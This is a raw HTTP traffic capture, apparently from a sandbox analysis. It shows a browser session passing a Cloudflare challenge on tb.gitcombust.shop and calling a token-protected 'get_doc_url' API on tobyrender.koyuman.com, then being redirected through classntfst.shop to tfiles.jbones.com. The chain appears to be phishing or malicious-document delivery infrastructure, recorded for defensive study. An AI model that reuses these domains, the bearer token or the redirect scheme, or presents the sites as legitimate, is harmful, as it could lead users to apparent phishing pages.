2025-03-27 17:56:17 UTC	713	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65 HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive Content-Length: 16552 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://tb.gitcombust.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:17 UTC	16384	OUT	Data Raw: 36 4c 76 65 79 6b 54 55 79 42 76 79 46 47 6d 54 33 54 2d 37 4a 65 6b 77 37 72 67 37 34 49 34 4b 4b 6b 55 54 50 6f 37 35 74 77 4f 74 68 76 37 4e 35 41 69 6d 74 42 54 5a 37 46 33 76 70 62 4c 4c 37 72 64 4b 37 71 37 4b 77 4b 76 54 37 44 4b 54 75 6d 78 65 64 42 4c 7a 63 66 65 35 74 32 4c 67 72 39 5a 2d 47 70 61 65 75 32 79 58 67 38 54 39 6f 35 64 34 37 79 76 76 31 34 4e 6b 7a 62 37 52 70 62 68 24 7a 37 24 65 47 4e 37 6b 58 76 37 34 65 6b 6b 65 32 46 65 34 37 54 74 37 4a 42 6c 37 54 38 7a 37 43 30 55 72 70 4c 41 54 72 64 62 76 37 6b 30 7a 37 6b 6d 69 4a 37 69 6b 37 54 7a 44 68 6a 76 66 5a 67 77 6b 70 6b 54 24 75 67 4c 6f 79 32 51 59 24 35 37 49 65 6b 34 48 2b 4c 37 55 6c 4c 74 47 68 35 57 44 70 37 69 59 24 64 32 49 72 65 37 6a 64 49 68 34 76 38 79 59 64 42 51 Data Ascii: 6LveykTUyBvyFGmT3T-7Jekw7rg74I4KKkUTPo75twOthv7N5AimtBTZ7F3vpbLL7rdK7q7KwKvT7DKTumxedBLzcfe5t2Lgr9Z-Gpaeu2yXg8T9o5d47yvv14Nkzb7Rpbh$z7$eGN7kXv74ekke2Fe47Tt7JBl7T8z7C0UrpLATrdbv7k0z7kmiJ7ik7TzDhjvfZgwkpkT$ugLoy2QY$57Iek4H+L7UlLtGh5WDp7iY$d2Ire7jdIh4v8yYdBQ
2025-03-27 17:56:17 UTC	168	OUT	Data Raw: 38 37 66 4b 52 55 72 56 4b 24 64 79 4e 34 43 4b 51 49 59 37 72 42 77 4b 31 6b 79 47 59 54 4d 54 61 32 79 58 6d 69 76 71 4b 72 36 54 6c 65 4b 42 54 37 4c 32 45 37 4e 6b 70 6a 6e 46 52 55 47 76 76 45 69 69 58 6c 24 76 2b 6f 71 71 79 50 69 34 56 44 37 36 6a 54 64 4b 54 52 74 6c 4e 79 43 6d 64 67 6f 69 4f 35 32 74 37 37 54 6c 52 63 4f 78 68 52 6a 36 6d 4e 6d 58 6d 6e 66 6d 58 6d 46 6c 49 69 62 5a 4a 68 43 49 76 45 77 73 76 30 49 76 30 75 35 54 6c 49 46 74 79 68 4e 4d 30 79 63 33 49 37 37 37 59 49 37 37 Data Ascii: 87fKRUrVK$dyN4CKQIY7rBwK1kyGYTMTa2yXmivqKr6TleKBT7L2E7NkpjnFRUGvvEiiXl$v+oqqyPi4VD76jTdKTRtlNyCmdgoiO52t77TlRcOxhRj6mNmXmnfmXmFlIibZJhCIvEwsv0Iv0u5TlIFtyhNM0yc3I777YI77
2025-03-27 17:56:18 UTC	1245	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:18 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: cf_clearance=; Path=/; Expires=Thu, 01-Jan-70 00:00:00 GMT; Domain=gitcombust.shop; HttpOnly; Secure; SameSite=None Set-Cookie: cf_clearance=O2Se5CWQ9DmCd_tb3hz8wElSV_GV0n4h6nrkSNL.zQ4-1743098178-1.2.1.1-5iRgJtdYWeajyQV8aLIcICfFiR42tSczCEmspFjzxs7qlwZpBF4pcMFTj03TjLdPNWsG8Ebz_viBHLLA1O02swpGKVKfZg2CpqXI9TAWrZCvgjM2hxyycpjpNvWRD4agFR84jTQ0c9beE_fDSubX17dhSyaR26ZOO1nAClO48T0ymgT5PZgAbmE73C1MX.V_OfPZP5bt.WLIKE3_YiF7v2VCl_61GwCK6fTVIoofF1f1hiRxeOtEZVtLihOMYLOV_iiDQlxI7OMZkh3DPRZkJkCLvmW7i4LDKKMNqJIJY8RY.p1YPFT7RVZptCPgVu1XX4yg.YxWnd.d9ImfTlgXCK7ZnQIs0vUlg_vFB1YTLWg; Path=/; Expires=Fri, 27-Mar-26 17:56:18 GMT; Domain=gitcombust.shop; HttpOnly; Secure; SameSite=None; Partitioned Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fp%2BQU0OOML2XkxhI%2Fx2h1a4FSmQje42OjVt9wfj7JdfpCAohBkK9rr6aJbTqQskZpAfWo%2BT1RHVyfx2bQazYwvbI6wLRpDvmgyG%2BkNC1TEJl4GrfZDndGXDSjiLAam1%2FNVl07Z4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c37c8ec8939a-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:56:18 UTC	221	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 38 39 37 36 37 26 6d 69 6e 5f 72 74 74 3d 38 39 36 39 36 26 72 74 74 5f 76 61 72 3d 31 38 39 37 36 26 73 65 6e 74 3d 31 34 26 72 65 63 76 3d 32 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 38 26 72 65 63 76 5f 62 79 74 65 73 3d 31 37 39 30 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 34 30 32 39 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 37 61 33 35 64 66 32 30 33 36 62 34 33 64 38 34 26 74 73 3d 32 30 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=89767&min_rtt=89696&rtt_var=18976&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=17903&delivery_rate=34029&cwnd=252&unsent_bytes=0&cid=7a35df2036b43d84&ts=201&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:17 UTC	528	OUT	POST /report/v4?s=aw%2B99zw1xjGMz5RYHg2pjVCU2anpUKZ5yrsdGQRyhvj3a8yyaG6teTg%2FE8dng3b87EslB8M5%2FbqQ%2BgpxE3QOTdMDJYNV0eN9M3iWHAsw2w7BiLLGIQc%2FitlISoeAD5SdGAWlzwI%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 424 Content-Type: application/reports+json Origin: https://tb.gitcombust.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:17 UTC	424	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 38 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 74 62 2e 67 69 74 63 6f 6d 62 75 73 74 2e 73 68 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 32 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a Data Ascii: [{"age":1,"body":{"elapsed_time":789,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://tb.gitcombust.shop/","sampling_fraction":1.0,"server_ip":"104.21.32.1","status_code":404,"type":"http.error"},"type":"network-error","url":
2025-03-27 17:56:18 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 27 Mar 2025 17:56:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:18 UTC	509	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65 HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:18 UTC	759	IN	HTTP/1.1 405 Method Not Allowed Date: Thu, 27 Mar 2025 17:56:18 GMT Transfer-Encoding: chunked Connection: close Cf-Ray: 9270c380483aeda1-EWR Server: cloudflare Allow: POST Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mvT5F14v2gdTNXoOW313y%2FTTCcN39z5Dv19gFgILO4ae4sSqKD6ugevUJY6%2BpN1c4or%2FTem3K49VIzO4c5N1BKfoFPaYDutOk2dXBmbjWUFv2IUGJmF7EyB6b3CG%2FDPC1gkig5U%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89254&min_rtt=89245&rtt_var=18829&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1081&delivery_rate=34250&cwnd=252&unsent_bytes=0&cid=a7b75d07f5d9c4d1&ts=243&x=0"
2025-03-27 17:56:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:19 UTC	535	OUT	OPTIONS /api/get_doc_url HTTP/1.1 Host: tobyrender.koyuman.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: authorization Origin: https://tb.gitcombust.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://tb.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:20 UTC	539	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:20 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" rndr-id: 52b258db-d00d-435c vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9270c388cde9c445-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:56:20 UTC	7	IN	Data Raw: 32 0d 0a 4f 4b 0d 0a Data Ascii: 2OK
2025-03-27 17:56:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:20 UTC	654	OUT	POST /api/get_doc_url HTTP/1.1 Host: tobyrender.koyuman.com Connection: keep-alive Content-Length: 0 sec-ch-ua-platform: "Windows" Authorization: Bearer a3c4d5e8f9a0b1c2d3e4f56789abcdef User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://tb.gitcombust.shop Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://tb.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:20 UTC	546	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:20 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * etag: W/"97-w5xSgkPTqv/Ya+wnZtMJskfkc9M" rndr-id: d771be24-742c-47ad vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9270c38c7cab7ca6-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:56:20 UTC	157	IN	Data Raw: 39 37 0d 0a 7b 22 73 65 63 75 72 65 5f 75 72 6c 22 3a 22 68 74 74 70 3a 2f 2f 74 6f 62 79 72 65 6e 64 65 72 2e 6b 6f 79 75 6d 61 6e 2e 63 6f 6d 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 33 30 39 38 31 39 30 36 33 37 26 68 61 73 68 3d 64 63 64 61 65 32 64 37 34 66 32 36 39 31 37 65 39 62 39 30 33 65 65 38 31 61 65 63 39 66 38 37 62 34 63 62 32 34 36 64 30 30 30 36 32 62 65 36 61 30 34 39 33 64 36 64 66 35 61 31 38 38 31 33 22 7d 0d 0a Data Ascii: 97{"secure_url":"http://tobyrender.koyuman.com/api/redirect?expires=1743098190637&hash=dcdae2d74f26917e9b903ee81aec9f87b4cb246d00062be6a0493d6df5a18813"}
2025-03-27 17:56:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:21 UTC	762	OUT	GET /api/redirect?expires=1743098190637&hash=dcdae2d74f26917e9b903ee81aec9f87b4cb246d00062be6a0493d6df5a18813 HTTP/1.1 Host: tobyrender.koyuman.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:21 UTC	553	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 17:56:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * location: https://classntfst.shop/tb/ rndr-id: 5ba672cf-b860-40e2 vary: Accept vary: Accept-Encoding x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9270c390aedd5e4b-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:56:21 UTC	62	IN	Data Raw: 33 38 0d 0a 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 63 6c 61 73 73 6e 74 66 73 74 2e 73 68 6f 70 2f 74 62 2f 3c 2f 70 3e 0d 0a Data Ascii: 38<p>Found. Redirecting to https://classntfst.shop/tb/</p>
2025-03-27 17:56:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:21 UTC	401	OUT	GET /api/get_doc_url HTTP/1.1 Host: tobyrender.koyuman.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:21 UTC	582	IN	HTTP/1.1 404 Not Found Date: Thu, 27 Mar 2025 17:56:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-headers: Content-Type, Authorization access-control-allow-methods: GET, POST, OPTIONS access-control-allow-origin: * content-security-policy: default-src 'none' rndr-id: ae9aebe9-9db1-4391 vary: Accept-Encoding x-content-type-options: nosniff x-powered-by: Express x-render-origin-server: Render cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 9270c3911ae590c2-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 17:56:21 UTC	160	IN	Data Raw: 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 61 70 69 2f 67 65 74 5f 64 6f 63 5f 75 72 6c 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 9a<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /api/get_doc_url</pre></body></html>
2025-03-27 17:56:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:21 UTC	654	OUT	GET /tb/ HTTP/1.1 Host: classntfst.shop Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:22 UTC	835	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 17:56:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://tfiles.jbones.com/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qnl%2FzdAkWfeiN%2BH3wbEWosEKLtPVl4FvNIqQsOBZwPDAAsnVAMirkXWyVAkecTKzewKYxDh61mCB8%2FfiKkpwIX9hQnPk0VHD01gI77t4q5%2B%2Flyr7by61uzQk66jh2A4DVb0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c394999543f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89164&min_rtt=89103&rtt_var=18888&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1226&delivery_rate=34234&cwnd=252&unsent_bytes=0&cid=37880069b720f537&ts=410&x=0"
2025-03-27 17:56:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:22 UTC	653	OUT	GET / HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:23 UTC	526	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105722 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:23 GMT Etag: "a292753e4e83ffcfc44ee8d5f3f5705c" Last-Modified: Wed, 26 Mar 2025 12:34:20 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: iad1::568fs-1743098182635-7740229aa921 Connection: close
2025-03-27 17:56:23 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
2025-03-27 17:56:23 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 65 46 66 6d 49 54 70 73 61 7a 78 75 32 79 57 2d 74 50 39 6b 77 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"eFfmITpsazxu2yW-tP9kw","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	573	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	625	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "9be324541344359af61f325c12d5610b" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::qtkhw-1743098184190-aa0d5e3a17c0 Connection: close
2025-03-27 17:56:24 UTC	1999	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	577	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
